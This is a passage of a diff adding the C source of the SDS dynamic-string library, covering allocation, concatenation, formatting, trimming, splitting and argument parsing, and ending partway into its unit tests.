+}
+
+/* Duplicate an sds string. */
+sds sdsdup(const sds s) {
+    return sdsnewlen(s, sdslen(s));
+}
+
+/* Free an sds string. No operation is performed if 's' is NULL. */
+void sdsfree(sds s) {
+    if (s == NULL) return;
+    s_free((char*)s-sdsHdrSize(s[-1]));
+}
+
+/* Set the sds string length to the length as obtained with strlen(), so
+ * considering as content only up to the first null term character.
+ *
+ * This function is useful when the sds string is hacked manually in some
+ * way, like in the following example:
+ *
+ * s = sdsnew("foobar");
+ * s[2] = '\0';
+ * sdsupdatelen(s);
+ * printf("%d\n", sdslen(s));
+ *
+ * The output will be "2", but if we comment out the call to sdsupdatelen()
+ * the output will be "6" as the string was modified but the logical length
+ * remains 6 bytes. */
+void sdsupdatelen(sds s) {
+    int reallen = strlen(s);
+    sdssetlen(s, reallen);
+}
+
+/* Modify an sds string in-place to make it empty (zero length).
+ * However all the existing buffer is not discarded but set as free space
+ * so that next append operations will not require allocations up to the
+ * number of bytes previously available. */
+void sdsclear(sds s) {
+    sdssetlen(s, 0);
+    s[0] = '\0';
+}
+
+/* Enlarge the free space at the end of the sds string so that the caller
+ * is sure that after calling this function can overwrite up to addlen
+ * bytes after the end of the string, plus one more byte for nul term.
+ *
+ * Note: this does not change the *length* of the sds string as returned
+ * by sdslen(), but only the free buffer space we have. */
+sds sdsMakeRoomFor(sds s, size_t addlen) {
+    void *sh, *newsh;
+    size_t avail = sdsavail(s);
+    size_t len, newlen;
+    char type, oldtype = s[-1] & SDS_TYPE_MASK;
+    int hdrlen;
+
+    /* Return ASAP if there is enough space left. */
+    if (avail >= addlen) return s;
+
+    len = sdslen(s);
+    sh = (char*)s-sdsHdrSize(oldtype);
+    newlen = (len+addlen);
+    if (newlen < SDS_MAX_PREALLOC)
+        newlen *= 2;
+    else
+        newlen += SDS_MAX_PREALLOC;
+
+    type = sdsReqType(newlen);
+
+    /* Don't use type 5: the user is appending to the string and type 5 is
+     * not able to remember empty space, so sdsMakeRoomFor() must be called
+     * at every appending operation. */
+    if (type == SDS_TYPE_5) type = SDS_TYPE_8;
+
+    hdrlen = sdsHdrSize(type);
+    if (oldtype==type) {
+        newsh = s_realloc(sh, hdrlen+newlen+1);
+        if (newsh == NULL) return NULL;
+        s = (char*)newsh+hdrlen;
+    } else {
+        /* Since the header size changes, need to move the string forward,
+         * and can't use realloc */
+        newsh = s_malloc(hdrlen+newlen+1);
+        if (newsh == NULL) return NULL;
+        memcpy((char*)newsh+hdrlen, s, len+1);
+        s_free(sh);
+        s = (char*)newsh+hdrlen;
+        s[-1] = type;
+        sdssetlen(s, len);
+    }
+    sdssetalloc(s, newlen);
+    return s;
+}
+
+/* Reallocate the sds string so that it has no free space at the end. The
+ * contained string remains not altered, but next concatenation operations
+ * will require a reallocation.
+ *
+ * After the call, the passed sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdsRemoveFreeSpace(sds s) {
+    void *sh, *newsh;
+    char type, oldtype = s[-1] & SDS_TYPE_MASK;
+    int hdrlen;
+    size_t len = sdslen(s);
+    sh = (char*)s-sdsHdrSize(oldtype);
+
+    type = sdsReqType(len);
+    hdrlen = sdsHdrSize(type);
+    if (oldtype==type) {
+        newsh = s_realloc(sh, hdrlen+len+1);
+        if (newsh == NULL) return NULL;
+        s = (char*)newsh+hdrlen;
+    } else {
+        newsh = s_malloc(hdrlen+len+1);
+        if (newsh == NULL) return NULL;
+        memcpy((char*)newsh+hdrlen, s, len+1);
+        s_free(sh);
+        s = (char*)newsh+hdrlen;
+        s[-1] = type;
+        sdssetlen(s, len);
+    }
+    sdssetalloc(s, len);
+    return s;
+}
+
+/* Return the total size of the allocation of the specifed sds string,
+ * including:
+ * 1) The sds header before the pointer.
+ * 2) The string.
+ * 3) The free buffer at the end if any.
+ * 4) The implicit null term.
+ */
+size_t sdsAllocSize(sds s) {
+    size_t alloc = sdsalloc(s);
+    return sdsHdrSize(s[-1])+alloc+1;
+}
+
+/* Return the pointer of the actual SDS allocation (normally SDS strings
+ * are referenced by the start of the string buffer). */
+void *sdsAllocPtr(sds s) {
+    return (void*) (s-sdsHdrSize(s[-1]));
+}
+
+/* Increment the sds length and decrements the left free space at the
+ * end of the string according to 'incr'. Also set the null term
+ * in the new end of the string.
+ *
+ * This function is used in order to fix the string length after the
+ * user calls sdsMakeRoomFor(), writes something after the end of
+ * the current string, and finally needs to set the new length.
+ *
+ * Note: it is possible to use a negative increment in order to
+ * right-trim the string.
+ *
+ * Usage example:
+ *
+ * Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
+ * following schema, to cat bytes coming from the kernel to the end of an
+ * sds string without copying into an intermediate buffer:
+ *
+ * oldlen = sdslen(s);
+ * s = sdsMakeRoomFor(s, BUFFER_SIZE);
+ * nread = read(fd, s+oldlen, BUFFER_SIZE);
+ * ... check for nread <= 0 and handle it ...
+ * sdsIncrLen(s, nread);
+ */
+void sdsIncrLen(sds s, int incr) {
+    unsigned char flags = s[-1];
+    size_t len;
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5: {
+            unsigned char *fp = ((unsigned char*)s)-1;
+            unsigned char oldlen = SDS_TYPE_5_LEN(flags);
+            assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
+            *fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
+            len = oldlen+incr;
+            break;
+        }
+        case SDS_TYPE_8: {
+            SDS_HDR_VAR(8,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        case SDS_TYPE_16: {
+            SDS_HDR_VAR(16,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        case SDS_TYPE_32: {
+            SDS_HDR_VAR(32,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        case SDS_TYPE_64: {
+            SDS_HDR_VAR(64,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        default: len = 0; /* Just to avoid compilation warnings. */
+    }
+    s[len] = '\0';
+}
+
+/* Grow the sds to have the specified length. Bytes that were not part of
+ * the original length of the sds will be set to zero.
+ *
+ * if the specified length is smaller than the current length, no operation
+ * is performed. */
+sds sdsgrowzero(sds s, size_t len) {
+    size_t curlen = sdslen(s);
+
+    if (len <= curlen) return s;
+    s = sdsMakeRoomFor(s,len-curlen);
+    if (s == NULL) return NULL;
+
+    /* Make sure added region doesn't contain garbage */
+    memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
+    sdssetlen(s, len);
+    return s;
+}
+
+/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
+ * end of the specified sds string 's'.
+ *
+ * After the call, the passed sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscatlen(sds s, const void *t, size_t len) {
+    size_t curlen = sdslen(s);
+
+    s = sdsMakeRoomFor(s,len);
+    if (s == NULL) return NULL;
+    memcpy(s+curlen, t, len);
+    sdssetlen(s, curlen+len);
+    s[curlen+len] = '\0';
+    return s;
+}
+
+/* Append the specified null termianted C string to the sds string 's'.
+ *
+ * After the call, the passed sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscat(sds s, const char *t) {
+    return sdscatlen(s, t, strlen(t));
+}
+
+/* Append the specified sds 't' to the existing sds 's'.
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscatsds(sds s, const sds t) {
+    return sdscatlen(s, t, sdslen(t));
+}
+
+/* Destructively modify the sds string 's' to hold the specified binary
+ * safe string pointed by 't' of length 'len' bytes. */
+sds sdscpylen(sds s, const char *t, size_t len) {
+    if (sdsalloc(s) < len) {
+        s = sdsMakeRoomFor(s,len-sdslen(s));
+        if (s == NULL) return NULL;
+    }
+    memcpy(s, t, len);
+    s[len] = '\0';
+    sdssetlen(s, len);
+    return s;
+}
+
+/* Like sdscpylen() but 't' must be a null-termined string so that the length
+ * of the string is obtained with strlen(). */
+sds sdscpy(sds s, const char *t) {
+    return sdscpylen(s, t, strlen(t));
+}
+
+/* Helper for sdscatlonglong() doing the actual number -> string
+ * conversion. 's' must point to a string with room for at least
+ * SDS_LLSTR_SIZE bytes.
+ *
+ * The function returns the length of the null-terminated string
+ * representation stored at 's'. */
+#define SDS_LLSTR_SIZE 21
+int sdsll2str(char *s, long long value) {
+    char *p, aux;
+    unsigned long long v;
+    size_t l;
+
+    /* Generate the string representation, this method produces
+     * an reversed string. */
+    v = (value < 0) ? -value : value;
+    p = s;
+    do {
+        *p++ = '0'+(v%10);
+        v /= 10;
+    } while(v);
+    if (value < 0) *p++ = '-';
+
+    /* Compute length and add null term. */
+    l = p-s;
+    *p = '\0';
+
+    /* Reverse the string. */
+    p--;
+    while(s < p) {
+        aux = *s;
+        *s = *p;
+        *p = aux;
+        s++;
+        p--;
+    }
+    return l;
+}
+
+/* Identical sdsll2str(), but for unsigned long long type. */
+int sdsull2str(char *s, unsigned long long v) {
+    char *p, aux;
+    size_t l;
+
+    /* Generate the string representation, this method produces
+     * an reversed string. */
+    p = s;
+    do {
+        *p++ = '0'+(v%10);
+        v /= 10;
+    } while(v);
+
+    /* Compute length and add null term. */
+    l = p-s;
+    *p = '\0';
+
+    /* Reverse the string. */
+    p--;
+    while(s < p) {
+        aux = *s;
+        *s = *p;
+        *p = aux;
+        s++;
+        p--;
+    }
+    return l;
+}
+
+/* Create an sds string from a long long value. It is much faster than:
+ *
+ * sdscatprintf(sdsempty(),"%lld\n", value);
+ */
+sds sdsfromlonglong(long long value) {
+    char buf[SDS_LLSTR_SIZE];
+    int len = sdsll2str(buf,value);
+
+    return sdsnewlen(buf,len);
+}
+
+/* Like sdscatprintf() but gets va_list instead of being variadic. */
+sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
+    va_list cpy;
+    char staticbuf[1024], *buf = staticbuf, *t;
+    size_t buflen = strlen(fmt)*2;
+
+    /* We try to start using a static buffer for speed.
+     * If not possible we revert to heap allocation. */
+    if (buflen > sizeof(staticbuf)) {
+        buf = s_malloc(buflen);
+        if (buf == NULL) return NULL;
+    } else {
+        buflen = sizeof(staticbuf);
+    }
+
+    /* Try with buffers two times bigger every time we fail to
+     * fit the string in the current buffer size. */
+    while(1) {
+        buf[buflen-2] = '\0';
+        va_copy(cpy,ap);
+        vsnprintf(buf, buflen, fmt, cpy);
+        va_end(cpy);
+        if (buf[buflen-2] != '\0') {
+            if (buf != staticbuf) s_free(buf);
+            buflen *= 2;
+            buf = s_malloc(buflen);
+            if (buf == NULL) return NULL;
+            continue;
+        }
+        break;
+    }
+
+    /* Finally concat the obtained string to the SDS string and return it. */
+    t = sdscat(s, buf);
+    if (buf != staticbuf) s_free(buf);
+    return t;
+}
+
+/* Append to the sds string 's' a string obtained using printf-alike format
+ * specifier.
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call.
+ *
+ * Example:
+ *
+ * s = sdsnew("Sum is: ");
+ * s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
+ *
+ * Often you need to create a string from scratch with the printf-alike
+ * format. When this is the need, just use sdsempty() as the target string:
+ *
+ * s = sdscatprintf(sdsempty(), "... your format ...", args);
+ */
+sds sdscatprintf(sds s, const char *fmt, ...) {
+    va_list ap;
+    char *t;
+    va_start(ap, fmt);
+    t = sdscatvprintf(s,fmt,ap);
+    va_end(ap);
+    return t;
+}
+
+/* This function is similar to sdscatprintf, but much faster as it does
+ * not rely on sprintf() family functions implemented by the libc that
+ * are often very slow. Moreover directly handling the sds string as
+ * new data is concatenated provides a performance improvement.
+ *
+ * However this function only handles an incompatible subset of printf-alike
+ * format specifiers:
+ *
+ * %s - C String
+ * %S - SDS string
+ * %i - signed int
+ * %I - 64 bit signed integer (long long, int64_t)
+ * %u - unsigned int
+ * %U - 64 bit unsigned integer (unsigned long long, uint64_t)
+ * %% - Verbatim "%" character.
+ */
+sds sdscatfmt(sds s, char const *fmt, ...) {
+    size_t initlen = sdslen(s);
+    const char *f = fmt;
+    int i;
+    va_list ap;
+
+    va_start(ap,fmt);
+    f = fmt;    /* Next format specifier byte to process. */
+    i = initlen; /* Position of the next byte to write to dest str. */
+    while(*f) {
+        char next, *str;
+        size_t l;
+        long long num;
+        unsigned long long unum;
+
+        /* Make sure there is always space for at least 1 char. */
+        if (sdsavail(s)==0) {
+            s = sdsMakeRoomFor(s,1);
+        }
+
+        switch(*f) {
+        case '%':
+            next = *(f+1);
+            f++;
+            switch(next) {
+            case 's':
+            case 'S':
+                str = va_arg(ap,char*);
+                l = (next == 's') ? strlen(str) : sdslen(str);
+                if (sdsavail(s) < l) {
+                    s = sdsMakeRoomFor(s,l);
+                }
+                memcpy(s+i,str,l);
+                sdsinclen(s,l);
+                i += l;
+                break;
+            case 'i':
+            case 'I':
+                if (next == 'i')
+                    num = va_arg(ap,int);
+                else
+                    num = va_arg(ap,long long);
+                {
+                    char buf[SDS_LLSTR_SIZE];
+                    l = sdsll2str(buf,num);
+                    if (sdsavail(s) < l) {
+                        s = sdsMakeRoomFor(s,l);
+                    }
+                    memcpy(s+i,buf,l);
+                    sdsinclen(s,l);
+                    i += l;
+                }
+                break;
+            case 'u':
+            case 'U':
+                if (next == 'u')
+                    unum = va_arg(ap,unsigned int);
+                else
+                    unum = va_arg(ap,unsigned long long);
+                {
+                    char buf[SDS_LLSTR_SIZE];
+                    l = sdsull2str(buf,unum);
+                    if (sdsavail(s) < l) {
+                        s = sdsMakeRoomFor(s,l);
+                    }
+                    memcpy(s+i,buf,l);
+                    sdsinclen(s,l);
+                    i += l;
+                }
+                break;
+            default: /* Handle %% and generally %<unknown>. */
+                s[i++] = next;
+                sdsinclen(s,1);
+                break;
+            }
+            break;
+        default:
+            s[i++] = *f;
+            sdsinclen(s,1);
+            break;
+        }
+        f++;
+    }
+    va_end(ap);
+
+    /* Add null-term */
+    s[i] = '\0';
+    return s;
+}
+
+/* Remove the part of the string from left and from right composed just of
+ * contiguous characters found in 'cset', that is a null terminted C string.
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call.
+ *
+ * Example:
+ *
+ * s = sdsnew("AA...AA.a.aa.aHelloWorld     :::");
+ * s = sdstrim(s,"Aa. :");
+ * printf("%s\n", s);
+ *
+ * Output will be just "Hello World".
+ */
+sds sdstrim(sds s, const char *cset) {
+    char *start, *end, *sp, *ep;
+    size_t len;
+
+    sp = start = s;
+    ep = end = s+sdslen(s)-1;
+    while(sp <= end && strchr(cset, *sp)) sp++;
+    while(ep > sp && strchr(cset, *ep)) ep--;
+    len = (sp > ep) ? 0 : ((ep-sp)+1);
+    if (s != sp) memmove(s, sp, len);
+    s[len] = '\0';
+    sdssetlen(s,len);
+    return s;
+}
+
+/* Turn the string into a smaller (or equal) string containing only the
+ * substring specified by the 'start' and 'end' indexes.
+ *
+ * start and end can be negative, where -1 means the last character of the
+ * string, -2 the penultimate character, and so forth.
+ *
+ * The interval is inclusive, so the start and end characters will be part
+ * of the resulting string.
+ *
+ * The string is modified in-place.
+ *
+ * Example:
+ *
+ * s = sdsnew("Hello World");
+ * sdsrange(s,1,-1); => "ello World"
+ */
+void sdsrange(sds s, int start, int end) {
+    size_t newlen, len = sdslen(s);
+
+    if (len == 0) return;
+    if (start < 0) {
+        start = len+start;
+        if (start < 0) start = 0;
+    }
+    if (end < 0) {
+        end = len+end;
+        if (end < 0) end = 0;
+    }
+    newlen = (start > end) ? 0 : (end-start)+1;
+    if (newlen != 0) {
+        if (start >= (signed)len) {
+            newlen = 0;
+        } else if (end >= (signed)len) {
+            end = len-1;
+            newlen = (start > end) ? 0 : (end-start)+1;
+        }
+    } else {
+        start = 0;
+    }
+    if (start && newlen) memmove(s, s+start, newlen);
+    s[newlen] = 0;
+    sdssetlen(s,newlen);
+}
+
+/* Apply tolower() to every character of the sds string 's'. */
+void sdstolower(sds s) {
+    int len = sdslen(s), j;
+
+    for (j = 0; j < len; j++) s[j] = tolower(s[j]);
+}
+
+/* Apply toupper() to every character of the sds string 's'. */
+void sdstoupper(sds s) {
+    int len = sdslen(s), j;
+
+    for (j = 0; j < len; j++) s[j] = toupper(s[j]);
+}
+
+/* Compare two sds strings s1 and s2 with memcmp().
+ *
+ * Return value:
+ *
+ *     positive if s1 > s2.
+ *     negative if s1 < s2.
+ *     0 if s1 and s2 are exactly the same binary string.
+ *
+ * If two strings share exactly the same prefix, but one of the two has
+ * additional characters, the longer string is considered to be greater than
+ * the smaller one. */
+int sdscmp(const sds s1, const sds s2) {
+    size_t l1, l2, minlen;
+    int cmp;
+
+    l1 = sdslen(s1);
+    l2 = sdslen(s2);
+    minlen = (l1 < l2) ? l1 : l2;
+    cmp = memcmp(s1,s2,minlen);
+    if (cmp == 0) return l1-l2;
+    return cmp;
+}
+
+/* Split 's' with separator in 'sep'. An array
+ * of sds strings is returned. *count will be set
+ * by reference to the number of tokens returned.
+ *
+ * On out of memory, zero length string, zero length
+ * separator, NULL is returned.
+ *
+ * Note that 'sep' is able to split a string using
+ * a multi-character separator. For example
+ * sdssplit("foo_-_bar","_-_"); will return two
+ * elements "foo" and "bar".
+ *
+ * This version of the function is binary-safe but
+ * requires length arguments. sdssplit() is just the
+ * same function but for zero-terminated strings.
+ */
+sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
+    int elements = 0, slots = 5, start = 0, j;
+    sds *tokens;
+
+    if (seplen < 1 || len < 0) return NULL;
+
+    tokens = s_malloc(sizeof(sds)*slots);
+    if (tokens == NULL) return NULL;
+
+    if (len == 0) {
+        *count = 0;
+        return tokens;
+    }
+    for (j = 0; j < (len-(seplen-1)); j++) {
+        /* make sure there is room for the next element and the final one */
+        if (slots < elements+2) {
+            sds *newtokens;
+
+            slots *= 2;
+            newtokens = s_realloc(tokens,sizeof(sds)*slots);
+            if (newtokens == NULL) goto cleanup;
+            tokens = newtokens;
+        }
+        /* search the separator */
+        if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
+            tokens[elements] = sdsnewlen(s+start,j-start);
+            if (tokens[elements] == NULL) goto cleanup;
+            elements++;
+            start = j+seplen;
+            j = j+seplen-1; /* skip the separator */
+        }
+    }
+    /* Add the final element. We are sure there is room in the tokens array. */
+    tokens[elements] = sdsnewlen(s+start,len-start);
+    if (tokens[elements] == NULL) goto cleanup;
+    elements++;
+    *count = elements;
+    return tokens;
+
+cleanup:
+    {
+        int i;
+        for (i = 0; i < elements; i++) sdsfree(tokens[i]);
+        s_free(tokens);
+        *count = 0;
+        return NULL;
+    }
+}
+
+/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
+void sdsfreesplitres(sds *tokens, int count) {
+    if (!tokens) return;
+    while(count--)
+        sdsfree(tokens[count]);
+    s_free(tokens);
+}
+
+/* Append to the sds string "s" an escaped string representation where
+ * all the non-printable characters (tested with isprint()) are turned into
+ * escapes in the form "\n\r\a...." or "\x<hex-number>".
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscatrepr(sds s, const char *p, size_t len) {
+    s = sdscatlen(s,"\"",1);
+    while(len--) {
+        switch(*p) {
+        case '\\':
+        case '"':
+            s = sdscatprintf(s,"\\%c",*p);
+            break;
+        case '\n': s = sdscatlen(s,"\\n",2); break;
+        case '\r': s = sdscatlen(s,"\\r",2); break;
+        case '\t': s = sdscatlen(s,"\\t",2); break;
+        case '\a': s = sdscatlen(s,"\\a",2); break;
+        case '\b': s = sdscatlen(s,"\\b",2); break;
+        default:
+            if (isprint(*p))
+                s = sdscatprintf(s,"%c",*p);
+            else
+                s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
+            break;
+        }
+        p++;
+    }
+    return sdscatlen(s,"\"",1);
+}
+
+/* Helper function for sdssplitargs() that returns non zero if 'c'
+ * is a valid hex digit. */
+int is_hex_digit(char c) {
+    return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
+           (c >= 'A' && c <= 'F');
+}
+
+/* Helper function for sdssplitargs() that converts a hex digit into an
+ * integer from 0 to 15 */
+int hex_digit_to_int(char c) {
+    switch(c) {
+    case '0': return 0;
+    case '1': return 1;
+    case '2': return 2;
+    case '3': return 3;
+    case '4': return 4;
+    case '5': return 5;
+    case '6': return 6;
+    case '7': return 7;
+    case '8': return 8;
+    case '9': return 9;
+    case 'a': case 'A': return 10;
+    case 'b': case 'B': return 11;
+    case 'c': case 'C': return 12;
+    case 'd': case 'D': return 13;
+    case 'e': case 'E': return 14;
+    case 'f': case 'F': return 15;
+    default: return 0;
+    }
+}
+
+/* Split a line into arguments, where every argument can be in the
+ * following programming-language REPL-alike form:
+ *
+ * foo bar "newline are supported\n" and "\xff\x00otherstuff"
+ *
+ * The number of arguments is stored into *argc, and an array
+ * of sds is returned.
+ *
+ * The caller should free the resulting array of sds strings with
+ * sdsfreesplitres().
+ *
+ * Note that sdscatrepr() is able to convert back a string into
+ * a quoted string in the same format sdssplitargs() is able to parse.
+ *
+ * The function returns the allocated tokens on success, even when the
+ * input string is empty, or NULL if the input contains unbalanced
+ * quotes or closed quotes followed by non space characters
+ * as in: "foo"bar or "foo'
+ */
+sds *sdssplitargs(const char *line, int *argc) {
+    const char *p = line;
+    char *current = NULL;
+    char **vector = NULL;
+
+    *argc = 0;
+    while(1) {
+        /* skip blanks */
+        while(*p && isspace(*p)) p++;
+        if (*p) {
+            /* get a token */
+            int inq=0;  /* set to 1 if we are in "quotes" */
+            int insq=0; /* set to 1 if we are in 'single quotes' */
+            int done=0;
+
+            if (current == NULL) current = sdsempty();
+            while(!done) {
+                if (inq) {
+                    if (*p == '\\' && *(p+1) == 'x' &&
+                                             is_hex_digit(*(p+2)) &&
+                                             is_hex_digit(*(p+3)))
+                    {
+                        unsigned char byte;
+
+                        byte = (hex_digit_to_int(*(p+2))*16)+
+                                hex_digit_to_int(*(p+3));
+                        current = sdscatlen(current,(char*)&byte,1);
+                        p += 3;
+                    } else if (*p == '\\' && *(p+1)) {
+                        char c;
+
+                        p++;
+                        switch(*p) {
+                        case 'n': c = '\n'; break;
+                        case 'r': c = '\r'; break;
+                        case 't': c = '\t'; break;
+                        case 'b': c = '\b'; break;
+                        case 'a': c = '\a'; break;
+                        default: c = *p; break;
+                        }
+                        current = sdscatlen(current,&c,1);
+                    } else if (*p == '"') {
+                        /* closing quote must be followed by a space or
+                         * nothing at all. */
+                        if (*(p+1) && !isspace(*(p+1))) goto err;
+                        done=1;
+                    } else if (!*p) {
+                        /* unterminated quotes */
+                        goto err;
+                    } else {
+                        current = sdscatlen(current,p,1);
+                    }
+                } else if (insq) {
+                    if (*p == '\\' && *(p+1) == '\'') {
+                        p++;
+                        current = sdscatlen(current,"'",1);
+                    } else if (*p == '\'') {
+                        /* closing quote must be followed by a space or
+                         * nothing at all. */
+                        if (*(p+1) && !isspace(*(p+1))) goto err;
+                        done=1;
+                    } else if (!*p) {
+                        /* unterminated quotes */
+                        goto err;
+                    } else {
+                        current = sdscatlen(current,p,1);
+                    }
+                } else {
+                    switch(*p) {
+                    case ' ':
+                    case '\n':
+                    case '\r':
+                    case '\t':
+                    case '\0':
+                        done=1;
+                        break;
+                    case '"':
+                        inq=1;
+                        break;
+                    case '\'':
+                        insq=1;
+                        break;
+                    default:
+                        current = sdscatlen(current,p,1);
+                        break;
+                    }
+                }
+                if (*p) p++;
+            }
+            /* add the token to the vector */
+            vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
+            vector[*argc] = current;
+            (*argc)++;
+            current = NULL;
+        } else {
+            /* Even on empty input string return something not NULL. */
+            if (vector == NULL) vector = s_malloc(sizeof(void*));
+            return vector;
+        }
+    }
+
+err:
+    while((*argc)--)
+        sdsfree(vector[*argc]);
+    s_free(vector);
+    if (current) sdsfree(current);
+    *argc = 0;
+    return NULL;
+}
+
+/* Modify the string substituting all the occurrences of the set of
+ * characters specified in the 'from' string to the corresponding character
+ * in the 'to' array.
+ *
+ * For instance: sdsmapchars(mystring, "ho", "01", 2)
+ * will have the effect of turning the string "hello" into "0ell1".
+ *
+ * The function returns the sds string pointer, that is always the same
+ * as the input pointer since no resize is needed. */
+sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
+    size_t j, i, l = sdslen(s);
+
+    for (j = 0; j < l; j++) {
+        for (i = 0; i < setlen; i++) {
+            if (s[j] == from[i]) {
+                s[j] = to[i];
+                break;
+            }
+        }
+    }
+    return s;
+}
+
+/* Join an array of C strings using the specified separator (also a C string).
+ * Returns the result as an sds string. */
+sds sdsjoin(char **argv, int argc, char *sep) {
+    sds join = sdsempty();
+    int j;
+
+    for (j = 0; j < argc; j++) {
+        join = sdscat(join, argv[j]);
+        if (j != argc-1) join = sdscat(join,sep);
+    }
+    return join;
+}
+
+/* Like sdsjoin, but joins an array of SDS strings. */
+sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
+    sds join = sdsempty();
+    int j;
+
+    for (j = 0; j < argc; j++) {
+        join = sdscatsds(join, argv[j]);
+        if (j != argc-1) join = sdscatlen(join,sep,seplen);
+    }
+    return join;
+}
+
+/* Wrappers to the allocators used by SDS. Note that SDS will actually
+ * just use the macros defined into sdsalloc.h in order to avoid to pay
+ * the overhead of function calls. Here we define these wrappers only for
+ * the programs SDS is linked to, if they want to touch the SDS internals
+ * even if they use a different allocator. */
+void *sds_malloc(size_t size) { return s_malloc(size); }
+void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
+void sds_free(void *ptr) { s_free(ptr); }
+
+#if defined(SDS_TEST_MAIN)
+#include <stdio.h>
+#include "testhelp.h"
+#include "limits.h"
+
+#define UNUSED(x) (void)(x)
+int sdsTest(void) {
+    {
+        sds x = sdsnew("foo"), y;
+
+        test_cond("Create a string and obtain the length",
+            sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
+
+        sdsfree(x);
+        x = sdsnewlen("foo",2);
+        test_cond("Create a string with specified length",
+            sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
+
+        x = sdscat(x,"bar");
+        test_cond("Strings concatenation",
+            sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
+
+        x = sdscpy(x,"a");
+        test_cond("sdscpy() against an originally longer string",
+            sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
+
+        x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
+        test_cond("sdscpy() against an originally shorter string",
+            sdslen(x) == 33 &&
+            memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
+
+        sdsfree(x);
+        x = sdscatprintf(sdsempty(),"%d",123);
+        test_cond("sdscatprintf() seems working in the base case",
+            sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
+
+        sdsfree(x);
+        x = sdsnew("--");
+        x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
+        test_cond("sdscatfmt() seems working in the base case",
+            sdslen(x) == 60 &&
+            memcmp(x,"--Hello Hi! World -9223372036854775808,"
+                     "9223372036854775807--",60) == 0)
+        printf("[%s]\n",x);
+
+        sdsfree(x);
+        x = sdsnew("--");
+        x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
+        test_cond("sdscatfmt() seems working with unsigned numbers",
+            sdslen(x) == 35 &&
+            memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
+
+        sdsfree(x);
+        x = sdsnew(" x ");
+        sdstrim(x," x");
+        test_cond("sdstrim() works when all chars match",
+            sdslen(x) == 0)
+
+        sdsfree(x);
+        x = sdsnew(" x ");
+        sdstrim(x," ");
+        test_cond("sdstrim() works when a single char remains",
+            sdslen(x) == 1 && x[0] == 'x')
+
+        sdsfree(x);
+        x = sdsnew("xxciaoyyy");
+        sdstrim(x,"xy");
+        test_cond("sdstrim() correctly trims characters",
+            sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
+
+        y = sdsdup(x);
+        sdsrange(y,1,1);
+        test_cond("sdsrange(...,1,1)",
+            sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,1,-1);
+        test_cond("sdsrange(...,1,-1)",
+            sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,-2,-1);
+        test_cond("sdsrange(...,-2,-1)",
+            sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,2,1);
+        test_cond("sdsrange(...,2,1)",
+            sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,1,100);
+        test_cond("sdsrange(...,1,100)",
+            sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
+
+        sdsfree(y);
+        y = sdsdup(x);
+        sdsrange(y,100,100);
+        test_cond("sdsrange(...,100,100)",
+            sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnew("foo");
+        y = sdsnew("foa");
+        test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
+
